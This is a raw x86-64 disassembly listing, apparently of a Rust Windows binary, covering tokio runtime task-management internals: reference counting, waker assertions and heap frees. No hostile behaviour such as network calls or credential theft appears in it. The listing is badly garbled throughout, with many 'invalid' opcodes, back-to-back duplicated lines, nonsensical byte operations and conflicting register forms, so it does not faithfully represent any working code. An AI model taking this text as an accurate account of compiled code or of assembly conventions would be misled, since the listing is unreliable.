lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x228]
test rax, rax
invalid
je 0x140096285
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
sar byte [rdi - 0x2dcefff2], 1
sar byte [rdi - 0x2dcefff2], 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea eax, [rsi + 0xd0]
lea r8, [0x1400e4030]
mov rdi, rcx
mov rcx, rax
mov rbx, rdx
mov rdx, r8
ret 0x16e8
in al, 3
add byte [rax - 0x77], cl
stc
mov rdx, rbx
mov byte [r14 + 0x120], 1
ret 0x16e8
mov eax, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rsi
lea rsi, [rcx + 0x10]
mov rax, qword [rcx + 0x10]
mov r9d, eax
not r9d
lea r10, [rax - 5]
xor r8d, r8d
test r9b, 6
cmove r8, r10
cmp r8, 1
je 0x140096386
test r8, r8
jne 0x1400963cd
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x1400963cd
mov rcx, rsi
mov rdi, rdx
call fcn.14007b240
mov rdx, rdi
jmp 0x1400963cd
cmp qword [rcx + 0x18], 0
je 0x1400963cd
mov rdi, qword [rcx + 0x20]
test rdi, rdi
je 0x1400963cd
mov r14, qword [rcx + 0x28]
mov rcx, rdi
stc
stc
mov rbx, rdx
call qword [r14]
mov rdx, rbx
cmp qword [r14 + 8], 0
je 0x1400963cd
invalid
and byte [rcx - 0x7d], cl
jle 0x1400963c1
cmp qword [r14 + 0x10], 0x11
jb 0x1400963b8
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
or eax, 0xebea1
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, rbx
mov r8d, 0x1e8
mov eax, 0x1e8
mov rcx, rsi
call fcn.140106530
mov eax, dword [0x140182314]
add eax, 0xebf33
add eax, 0xebf33
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14009642b
test eax, eax
jne 0x140096445
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
mov esi, dword [rcx + rax*8]
add byte [rax - 0x75], cl
xor al, 0xc1
mov esi, dword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea ecx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
cld
loop 0x140096426
add eax, dword [rax]
cld
loop 0x140096426
invalid
add eax, dword [rax]
add dh, al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov byte [rsi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xebee305], ecx
invalid
jrcxz 0x1400963ed
invalid
mov eax, dword [0x140182314]
add eax, 0xebee3
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x20], dh
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x20], dh
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
ror dword [rax - 0x7d], 0xf1
add esi, eax
cmpxchg qword [rsi], rcx
jne case.0x14005088a.261
test al, 1
je 0x140096519
xchg ebx, eax
add byte [rax], al
add byte [rax], al
test al, 2
jne 0x140096531
movabs dword [0x48197508a8000000], eax
add byte [rax], al
test al, 2
jne 0x140096531
invalid
add byte [rax], al
add byte [rax], al
movabs dword [0x48197508a8000000], eax
add byte [rax], al
test al, 8
jne 0x1400964ab
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
and byte [rax - 0x39], r9b
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
and al, 0x58
and al, 0x58
pop rax
invalid
and al, 0x58
call fcn.1400962a0
jmp 0x1400964c9
invalid
test al, 0x10
je 0x1400964c9
mov rax, qword [rsi + 0x228]
add byte [rax], al
test rax, rax
je 0x1400965b5
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec330
pop rsi
add eax, 0xf8834800
add dword [rax + 2], edi
pop rsi
add eax, 0xf8834800
add dword [rax + 2], edi
sbb rax, 0
fadd dword [rax]
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
fdiv st(0)
xadd qword [rsi], rax
fdiv st(0)
xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
jb 0x140096549
jne 0x14009650f
mov rcx, rsi
add rsp, 0x240
pop rsi
jmp fcn.1400961e0
add byte [rsi - 0x17], bl
sar esp, 1
invalid
nop
add rsp, 0x240
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
add eax, 0xb84f1
mov edx, 0x23
call fcn.140108630
invalid
add byte [rax - 0x73], cl
or eax, 0xb84f8
lea rcx, str.assertion_failed:__prev.is_complete__
lea ecx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
invalid
add byte [rax], al
add byte [rax], al
test dword [rbx], ecx
add byte [rdx + 0x25], bh
invalid
add byte [rax], al
add byte [rax], al
and eax, 0xe8000000
out 0x20, eax
invalid
add byte [rax], al
call fcn.140108630
mov qword [rsp + 0x30], rax
and al, 0x30
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
sub byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x50], rax
and al, 0x50
push rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov qword [rsp + 0x60], 2
mov dword [rsp + 0x60], 2
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
lea eax, [rsp + 0x38]
js 0x14009658e
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
and al, 0x68
push 0x2444c748
jo 0x1400965a3
invalid
mov qword [rsp + 0x70], 2
lea rdx, [0x14014eaa0]
test byte [rbx], cl
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xb84f5
test byte [rbx], cl
invalid
test byte [rbx], cl
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x58]
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rax, str.waker_missing
lea eax, [0x14014e648]
mov word [rax - 0x76b7fff5], es
and al, 0x58
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
and al, 0x70
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x70
jo case.0x1400950e8.17
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea edx, [0x14014e658]
lea rcx, [rsp + 0x58]
and al, 0x58
call fcn.140108560
int3
je 0x140096609
invalid
pop rax
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x240], esi
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
add ebx, ebp
invalid
jmp case.default.0x140096666
cmpxchg qword [rsi], rcx
je 0x140096655
test al, 4
je 0x140096899
jbe 0x1400968b1
jno 0x140096640
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
retf 0xf002
cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
ret 0xca80
retf 0xf002
cmpxchg dword [rsi], ecx
jne case.default.0x140096666
invalid
movzx eax, dl
lea rcx, [0x140178850]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
lea rax, [0x14014ed10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov eax, dword [rsi + 0x30]
not eax
test al, 6
je 0x1400968c9
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140096703
xorps xmm6, xmm6
test eax, eax
jne 0x14009672f
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
mov rbx, rcx
mov ebx, ecx
invalid
mov ebx, ecx
mov rcx, rax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xebc0b05], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x38
lea rdx, [rsp + 0x38]
call fcn.14007b560
mov ecx, dword [0x140182314]
mov ebx, 0x4865000e
mov edx, dword [0x58]
dec dword [rbx + 0xebbd50d]
mov ebx, 0x4865000e
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x1400967a7
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
invalid
mov dl, 0xbb
invalid
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
invalid
retf 0x8d48
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
fadd dword [rax + rax]
add byte [rcx - 0x2063173d], cl
add eax, dword [rax]
mov ebx, eax
call fcn.1400d4720
ret
mov eax, ebx
mov byte [rdi + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xebb810d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov ecx, dword [0x140182314]
or eax, 0xebb81
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
add byte [rax], al
add byte [rax - 0x73], cl
jle 0x1400967cb
invalid
lea rdi, [rsi + 0x20]
test al, al
je case.default.0x1400967cc
invalid
mov word [rax], es
add byte [rax], al
test byte [rax + rax - 0x76b80000], cl
int1
mov rcx, rsi
mov ecx, esi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x140178860]
movsxd rax, dword [rcx + rax*4]
invalid
add byte [rax + 0x63], cl
add al, 0x81
invalid
add rax, rcx
enter 0xffffffffffffe0ff, 0x48
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eaa70
bnd call fcn.1400eaa70
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
jbe 0x140096901
adc dword [rcx], eax
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400967cc.0
add byte [rax], al
mov rcx, rsi
call 0x140096c00
add byte [rax], al
add byte [rax], al
jmp case.0x1400967cc.0
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
add byte [rax - 0x73], cl
push rsp
and al, 0x58
mov rcx, rdi
call fcn.1400962a0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
mov qword [rsp + 0x78], rax
jmp 0x140096866
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400962a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 6
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400962a0
mov rcx, rsi
call 0x140096cc0
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
and al, 0x40
mov qword [rsp + 0x20], 6
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.1400962a0
in al, 0xf6
invalid
dec dword [rax - 0x77]
stc
add rsp, 0x208
pop rdi
pop rsi
jmp 0x140096cc0
invalid
in al, 0xf6
invalid
add byte [rax + 0x8c48148], dl
add al, byte [rax]
add byte [rdi + 0x5e], bl
ret
sub dword [rax - 0x72b3fff5], eax
add eax, 0xb804a
mov edx, 0x27
call fcn.140108630
add ah, cl
add ah, cl
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x140096c1d
lea rcx, [rsi + 0x20]
call fcn.140069420
mov rax, qword [rsi + 0x30]
mov edx, eax
not edx
lea r8, [rax - 5]
xor ecx, ecx
test dl, 6
ret 0x4906
cmove ecx, eax
cmp rcx, 1
je 0x140096c52
ret 0x4906
add esi, dword [rdx + 0x48]
lea rcx, [rsi + 0x30]
call fcn.14007b240
jmp 0x140096c8f
mov ebx, dword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140096c8f
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x140096c7d
mov rdi, qword [rdi - 8]
jg 0x140096c75
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi], 0
mov byte [rdi], 0
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x140096ca5
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
sub rsp, 0x240
in al, dx
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rax, qword [rcx]
nop
in al, dx
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140096cd0
test al, 1
je 0x140096d79
add byte [rax], al
test al, 8
jne 0x140096d0b
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
call fcn.1400962a0
jmp 0x140096d29
test al, 0x10
je 0x140096d29
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x140096e15
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x10]
add al, byte [rax]
add bh, bh
push rax
adc byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
and byte [rax - 0x77], cl
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea6e0
and byte [rax - 0x77], cl
bnd call fcn.1400ea6e0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
fdiv st(0)
xadd qword [rsi], rax
shr rax, 6
shr eax, 6
shr eax, 6
cmp rax, qword [rsp + 0x28]
jb 0x140096da9
jne 0x140096d6f
add esp, 0x240
pop rsi
jmp 0x140096c00
add rsp, 0x240
pop rsi
ret
jl 0x140096d91
add byte [rdx + 0x23], bh
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
invalid
invalid
invalid
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012cc0]
add dword [rdi - 0x76b70009], edi
and al, 0x40
add dword [rdi - 0x76b70009], edi
and al, 0x40
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
mov dword [rsp + 0x68], 8
mov dword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x58]
call fcn.140108560
int3
movabs r12, 0x7fffffffffffffff
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140096edf
lea r15, [r14 + 0x11]
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x140096f0e
mov rax, qword [r14 + 0x238]
dec rax
mov qword [r14 + 0x238], rax
mov bl, 1
cmp rax, 1
jne 0x140096f0e
mov rax, qword [r14 + 0x1b8]
mov rcx, qword [r14 + 0x1c0]
mov qword [r14 + 0x1b8], 0
test rax, rax
je 0x140096f0a
call qword [rax + 8]
jmp 0x140096f0a
call fcn.140110530
jmp 0x140096e73
call fcn.1401105f0
mov ebx, eax
lea r15, [r14 + 0x11]
jle 0x140096efb
jle 0x140096efb
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x140096f0a
mov rax, qword [r14 + 0x238]
dec rax
dec eax
mov qword [r14 + 0x238], rax
cmp rax, 1
je 0x140096eb2
test bl, bl
je 0x140096f1a
mov rax, qword [0x140182308]
mov eax, dword [0x140182308]
test rax, r12
jne 0x140096f77
xor eax, eax
xchg byte [rdi], al
cmp al, 2
invalid
je 0x140096f48
add dh, byte [rsi + riz - 0x10]
dec qword [r14]
lock dec qword [r14]
je 0x140096f57
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x140096f69
mov rcx, qword [rsi + 8]
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
invalid
pop r14
pop r15
jmp fcn.140087210
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lock dec qword [r14]
jne case.0x140092cfa.40
mov rcx, rsi
call fcn.140005020
mov rax, qword [rsi + 8]
lock dec qword [rax]
dec qword [rax]
je 0x140096f32
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
call fcn.1401105f0
test al, al
jne 0x140096f1a
mov byte [r15], 1
jmp 0x140096f1a
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf98
movaps xmmword [rsp + 0xf80], xmm6
sldt word [rax]
sldt word [rax]
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rcx + 0xa58]
lea rcx, [0x140178870]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [rsi + 0x10]
movups xmm6, xmmword [rsi]
mov byte [rsi + 0xa59], 1
mov rax, qword [rsi + 0x530]
mov qword [rsi + 0xa60], rax
xchg byte [rax + 0xa], ah
add byte [rax], al
xchg byte [rax + 0xa], ah
add byte [rax], al
lea rcx, [rsi + 0xa68]
mov r8d, 0x520
add byte [rax], al
add byte [rax], al
call fcn.140106530
movups xmmword [rsi + 0xf88], xmm6
jmp 0x14009700d
cmp qword [rsi + 0xf88], 3
je 0x14009757d
sldt word [rax]
add ecx, dword [rdi]
test byte [rax + 5], dh
add byte [rax], al
lea rbx, [rsi + 0xa68]
mov rcx, rbx
mov rdx, rdi
call fcn.1400975f0
cmp al, 2
jne 0x1400970a8
mov rax, qword [rsi + 0xf88]
sldt word [rax]
cmp rax, 2
je case.0x140095546.23
test rax, rax
je 0x1400975ad
mov r15, qword [rsi + 0xf90]
test r15, r15
je 0x140097212
mov rax, qword [r15 + 0x18]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14009708c
lea r14, [rsi + 0xf90]
mov r13, qword [sym.imp.kernel32.dll_SwitchToThread]
nop dword [rax + rax]
mov rcx, qword [r15 + 0x10]
cmp rcx, rax
je 0x14009710c
call r13
mov rax, qword [r15 + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x140097070
invalid
in al, 0x49
mov dword [rdi + 0x18], ecx
mov qword [r15 + 0x18], rcx
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013e348]
mov edx, 0x29
call fcn.140108630
mov r15, qword [rsi + 0xf88]
mov r12, qword [rsi + 0xf90]
mov qword [rsi + 0xf88], 3
cmp r15, 3
je case.0x140093f12.38
mov ebp, eax
lea rcx, [rsp + 0x30]
mov r8d, 0x520
mov rdx, rbx
call fcn.140106530
mov qword [rsp + 0x550], r15
mov qword [rsp + 0x558], r12
and al, 0x58
add eax, 0x7c830000
and al, 0x30
invalid
je 0x140097101
and al, 0x58
add eax, 0x7c830000
and al, 0x30
add esi, dword [rdx + rcx + 0x48]
lea ecx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.140098310
mov r13d, 4
jmp 0x1400972fc
mov rax, qword [r14]
mov rax, qword [rax + 0x38]
test rax, rax
je 0x1400971fc
mov rbp, qword [r14]
test rbp, rbp
je 0x1400975d1
mov rcx, qword [rdi]
mov edx, 1
xor eax, eax
lock cmpxchg qword [rbp + 0x58], rdx
cmp rax, 2
invalid
je 0x140097164
add dh, byte [rsi + riz + 0x48]
test eax, eax
test rax, rax
jne 0x1400971d3
mov rdx, qword [rbp + 0x48]
mov rax, qword [rcx]
test rdx, rdx
je 0x140097171
add dword [rax - 0x7b], ecx
sal byte [rsi + rbx + 0x48], cl
mov ecx, dword [rcx + 8]
mov rcx, qword [rcx + 8]
cmp qword [rbp + 0x50], rcx
jne case.0x140051497.256
cmp rdx, rax
je 0x140097195
invalid
xor ebp, ebx
adc dword [rax - 0x75], ecx
add dword [rax - 0x75], ecx
or byte [r8 - 0x7d], cl
rcl byte [rax], 0xeb
push rsi
jmp case.0x140051497.256
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
jmp 0x1400971c7
mov rcx, qword [rcx + 8]
call qword [rax]
mov r15, rax
mov r12, rdx
mov esp, edx
mov esp, edx
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x14009718d
mov rcx, qword [rbp + 0x50]
call qword [rax + 0x18]
push rax
invalid
push rax
sbb byte [rcx + rcx*4 + 0x7d], cl
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], r12
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [rbp + 0x58], rcx
je 0x1400971d3
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x50]
push rax
mov qword [rbp + 0x48], 0
test rax, rax
je 0x1400975dd
xor edx, edx
xchg qword [rbp + 0x58], rdx
add rax, 8
ror byte [rax], 0xff
adc bl, ch
invalid
ror byte [rax], 0xff
adc bl, ch
or byte [rdi], cl
invalid
add byte [rcx - 1], al
invalid
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
or byte [rax - 0x7b], cl
leave
sbb byte [r8 - 0x75], r9b
or byte [rax - 0x7b], cl
leave
jne 0x14009753d
mov rcx, qword [rbp + 0x10]
cmp rcx, rax
jne 0x1400971d0
mov eax, dword [rsi]
mov rax, qword [rax + 0x38]
test rax, rax
jne 0x1400972e0
mov rax, qword [r14]
test rax, rax
je 0x140097212
lock dec qword [rax]
jne 0x140097212
mov rcx, r14
call fcn.140088a50
mov qword [rsi + 0xf90], 0
cmp qword [rsi + 0xf88], 0
je 0x1400975c5
mov qword [rsi + 0xf88], 2
mov qword [rsp + 0x30], 0
add byte [rax - 0x39], cl
and al, 0x30
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x30]
call fcn.140098950
movups xmm6, xmmword [rsi + 0xf88]
sldt word [rax]
sldt word [rax]
mov r14, qword [rsi + 0xf88]
mov byte [rdi], cl
add byte [rax], al
mov qword [rsi + 0xf88], 3
cmp r14, 3
add ecx, dword [rdi]
test ch, ch
add al, byte [rax]
invalid
add ecx, dword [rdi]
test ch, ch
add al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x30
lea rcx, [rsp + 0x30]
mov r8d, 0x520
mov rdx, rbx
call fcn.140106530
movups xmmword [rsp + 0x550], xmm6
add byte [rax], al
add byte [rax], al
mov r13, qword [rsi + 0xa68]
movzx ebp, byte [rsi + 0xa70]
mov eax, dword [rsi + 0xa74]
mov dword [rsp + 0x2b], eax
mov eax, dword [rsi + 0xa71]
mov dword [rsp + 0x28], eax
mov r15, qword [rsi + 0xa78]
or al, byte [rax]
add byte [rbx + rcx*4 - 0x5a], cl
or byte [rdx], 0
add byte [rax - 0x73], cl
xchg esi, eax
mov byte [rdx], cl
add byte [rax], al
or al, byte [rax]
add byte [rbx + rcx*4 - 0x5a], cl
or byte [rdx], 0
add byte [rax - 0x73], cl
xchg esi, eax
mov byte [rdx], cl
add byte [rax], al
lea rcx, [rsp + 0x560]
mov r8d, 0x500
call fcn.140106530
test r14, 0xfffffffffffffffd
invalid
invalid
push qword [rbp + 0xf]
add byte [rcx - 0x48], al
add byte [0x19ff172ce], al
invalid
invalid
cmp r13, 5
jne 0x1400972fc
mov al, 1
mov cl, 3
jmp 0x14009751b
lea rcx, [rsp + 0x558]
call fcn.140098950
add byte [rcx - 0x7d], cl
std
invalid
je 0x1400972e0
lea r14, [rsi + 0x538]
lea esi, [rsi + 0x538]
mov qword [rsi + 0x538], r13
mov byte [rsi + 0x540], bpl
add eax, 0x448b0000
and al, 0x28
add eax, 0x448b0000
and al, 0x28
mov ecx, dword [rsp + 0x2b]
mov dword [rsi + 0x541], eax
mov dword [rsi + 0x544], ecx
mov qword [rsi + 0x548], r15
mov qword [rsi + 0x550], r12
mov dword [rsi + 0x550], esp
mov dword [rsi + 0x550], esp
lea rcx, [rsi + 0x558]
lea rdx, [rsp + 0x560]
and al, 0x60
add eax, 0xb8410000
add byte [0x123f1734a], al
add al, ch
jrcxz 0x14009733c
invalid
invalid
add eax, 0x8d480000
xchg esp, eax
and al, 0x60
add eax, 0xb8410000
add byte [0x123f1734a], al
add al, ch
jrcxz 0x14009733c
add al, ch
jrcxz 0x14009733c
invalid
mov rax, qword [rsi + 0xf88]
cmp rax, 3
je 0x14009737a
cmp dword [rbx], 3
je 0x14009736e
mov rcx, rbx
call fcn.140098310
mov rax, qword [rsi + 0xf88]
test rax, 0xfffffffffffffffd
jne 0x14009745f
cmp dword [r14], 4
je 0x140097475
lea rcx, [rsp + 0xa60]
mov r8d, 0x520
add byte [rcx + rcx*4 - 0xe], cl
and al, 0x60
or al, byte [rax]
add byte [rcx - 0x48], al
and byte [0xc9557394], al
add byte [rcx + rcx*4 - 0xe], cl
call fcn.140106530
add byte [rcx + rcx*4 - 0xe], cl
call fcn.140106530
int1
invalid
